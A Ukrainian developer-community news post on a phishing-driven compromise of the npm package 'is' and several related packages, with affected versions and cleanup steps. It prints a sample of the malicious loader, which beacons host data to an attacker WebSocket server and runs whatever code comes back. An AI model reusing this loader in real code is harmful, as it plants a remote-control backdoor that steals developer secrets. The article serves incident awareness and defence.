Популярний npm пакет ’is’ було скомпрометовано

💡 Усі статті, обговорення, новини про Front-end — в одному місці. Приєднуйтесь до Front-end спільноти!

Вчора стало відомо про один з наймаштабніших зламів у JS екосистемі. Пакет is, який щотижня завантажують понад 2.8 мільйони разів, було скомпроментовано. Це частина ширшої фішингової кампанії, яка вже зачепила низку ключових пакетів, включно з eslint-config-prettier, eslint-plugin-prettier, got-fetch, synckit та іншими.

Атака почалася з фішингового сайту-клону npnjs[.]com, який імітував справжній npmjs.com. Через нього зловмисники викрали облікові дані розробників і отримали доступ до npm-токенів, що дозволило їм публікувати заражені версії популярних пакетів.

Одним із найнебезпечніших виявився пакет eslint-config-prettier, який містив DLL-файл node-gyp.dll, що запускав інфостілер Scavenger. Він використовував методи обходу аналізу, викрадав дані браузерів і розробницькі файли (.npmrc, .netrc, SSH-ключі тощо).

Ще серйознішою виявилася компрометація пакету is. Він не містив DLL, а натомість мав вбудований обфускований лоадер JS JavaScript, який:

  • працює кросплатформенно,
  • реконструює шкідливий код у пам’яті,
  • встановлює WebSocket-з’єднання з C2-сервером зловмисника,
  • передає системну інформацію,
  • та виконує будь-який код, надісланий зловмисником у режимі реального часу.

Приклад цього коду:

// Expose Node's `require`, even in restricted contexts (e.g., Electron)
get "switch"() { return require; }
// Load system and networking modules dynamically
const os = this["switch"]("os");
const WS = this["switch"]("ws");
// Connect to threat actor-controlled WebSocket endpoint
const sock = new WS("wss://<decoded-at-runtime-endpoint>");
// Send host fingerprinting data on connect
sock.onopen = () => sock.send(JSON.stringify({
  host: os.hostname(),
  plat: os.platform(),
  cwd : process.cwd()
}));
// Execute threat actor-supplied code received over the socket
sock.onmessage = ({ data }) => {
  new Function(data)();  // remote code execution
};

Пакет також зчитує .npmrc, віддалені Git-репозиторії, і у випадку наявності прав на запис — самовідновлюється шляхом модифікації index.js. Просте видалення node_modules недостатнє, через що треба також перегенерувати lock-файли.

Ось список заражених пакетів:

  • eslint-config-prettier: 8.10.1, 9.1.1, 10.1.6, 10.1.7
  • eslint-plugin-prettier: 4.2.2, 4.2.3
  • synckit: 0.11.9
  • @pkgr/core: 0.2.8
  • napi-postinstall: 0.3.1
  • got-fetch: 5.1.11, 5.1.12
  • is: 3.3.1, 5.0.0

Що тепер робити

  1. Перевірте, чи є у вас ці версії в package-lock.json або yarn.lock. Якщо так — негайно видаліть node_modules, видаліть lock-файл і встановіть залежності заново.
  2. Проскануйте проєкт на Indicators of Compromise:
    • .npmrc, .netrc, id_rsa, known_hosts могли бути викрадені.
    • Перевстановіть ключі SSH та оновіть паролі.
  3. Встановіть захисні інструменти. Наприклад, Socket GitHub App та Safe npm CLI.
  4. Не оновлюйте залежності без перевірки. Це не той час, коли варто сліпо довіряти npm install.
👍ПодобаєтьсяСподобалось11
До обраногоВ обраному1
LinkedIn
Дозволені теги: blockquote, a, pre, code, ul, ol, li, b, i, del.
Ctrl + Enter
Дозволені теги: blockquote, a, pre, code, ul, ol, li, b, i, del.
Ctrl + Enter

npnjs похожий на npmjs это жесть, но сработало. Странно шо не було новостей на дргухих сайтах

Підписатись на коментарі